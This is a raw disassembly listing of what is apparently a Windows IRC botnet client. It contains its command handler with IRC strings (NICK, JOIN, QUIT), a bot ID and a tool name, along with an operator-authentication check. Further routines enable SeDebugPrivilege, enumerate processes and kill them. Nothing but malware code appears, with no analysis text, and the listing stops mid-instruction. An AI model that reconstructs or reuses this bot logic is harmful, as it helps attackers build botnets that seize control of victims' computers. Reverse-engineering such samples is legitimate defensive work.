[ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h nop call near ptr 2620000h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj call near ptr 2650C0Ah nop push eax push offset unk_42FDF0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_42FDC8 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43AE30 call dword_43ACF8 call sub_40AC42 push ebx call near ptr 77E75CB5h nop loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FDA0 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FD78 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_42FD50 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 2620000h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j nop call near ptr 2650C0Ah push eax push offset dword_42FD08 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_42FCE0 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_42FCDC push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_42FCB0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 2620000h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j nop call near ptr 2650C0Ah push eax push offset dword_42FC68 loc_414AB4: ; CODE XREF: sub_40EE72+489Dj ; sub_40EE72+49B9j lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4527j ; sub_40EE72+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_42FC40 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_4CD5F0 call sub_40B721 pop ecx push eax push offset dword_42FC04 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FBB4 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FB74 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_42FB64 push offset dword_42FB58 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_42FB4C push offset dword_42FB3C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h nop call near ptr 2620000h jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j nop call near ptr 2650C0Ah push eax push offset unk_42FAF4 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_42FAA8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h call near ptr 2620000h nop jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 2650C0Ah nop push eax push offset unk_42FA5C loc_414E02: ; CODE XREF: sub_40EE72+3DA5j ; sub_40EE72+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_42FA3C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_432E04 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_42FA00 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_42F9C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_432E04 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_42F990 loc_414F40: ; CODE XREF: sub_40EE72+4344j ; sub_40EE72+49D7j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_432E80 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_436EF4 push ebx inc esi call sub_418B6E push offset asc_42F98C ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F904 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C4 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6C8 jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F8C8 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_42F89C push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_42F86C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_4CD76C, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2780E81h push eax call dword_43AD7C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43AD54 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43AE04 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] nop call near ptr 26318FCh mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B66p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43ADB8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43AD9C, ebx jz loc_415334 cmp dword_43ACB8, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43ADB8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43AD9C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43ACB8 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43ADB8 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43AC64 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2720470h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27D0B2Ah test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_432F04 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_432ECC jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_432E94 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B08p ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2720470h nop mov esi, eax test esi, esi jz short loc_41544B push 0 push esi nop call near ptr 27D0B2Ah test eax, eax jnz short loc_41544B push esi xor edi, edi nop call near ptr 26318FCh loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4407FC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43AD80 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 2610350h loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43ADB0 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43ACF4 test eax, eax jz short loc_41557D call dword_43AD2C push eax push offset dword_432FF8 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 2610350h loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43AD50 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43AE24 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_436EDC push dword ptr [esi] call dword_43ADE8 cmp dword_4CD77C, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 2610350h nop loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432FAC call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E nop call near ptr 2650C0Ah push eax push offset dword_432F70 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx call near ptr 2610350h nop loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432F38 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 2610350h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call 